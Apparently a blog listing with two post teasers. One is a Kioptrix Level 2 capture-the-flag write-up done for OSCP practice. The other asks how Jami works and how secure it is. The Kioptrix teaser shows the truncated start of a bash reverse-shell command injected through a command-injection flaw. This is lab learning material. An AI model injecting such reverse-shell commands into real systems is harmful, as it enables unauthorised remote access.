Kioptrix 2: Why netcat reverse shell executed in web browser via command injection bug doesn’t work?

I’ve completed kioptrix level 2 challenge via sql injection, command injection, bash reverse shell, and local privilege escalation as part of my OSCP preparation.

https://www.vulnhub.com/entry/kioptrix-level-11-2,23/

; bash -i >& … Continue reading Kioptrix 2: Why netcat reverse shell executed in web browser via command injection bug doesn’t work?

How does Jami (formerly Ring.cx) really work, and how secure is it?

Jami calls itself “ultimate privacy and control for your voice, video and chat communications”. But forums online mentioned in passing (little depth) that it uses bad cryptography protocols and has messy source code. What exactly is insecu… Continue reading How does Jami (formerly Ring.cx) really work, and how secure is it?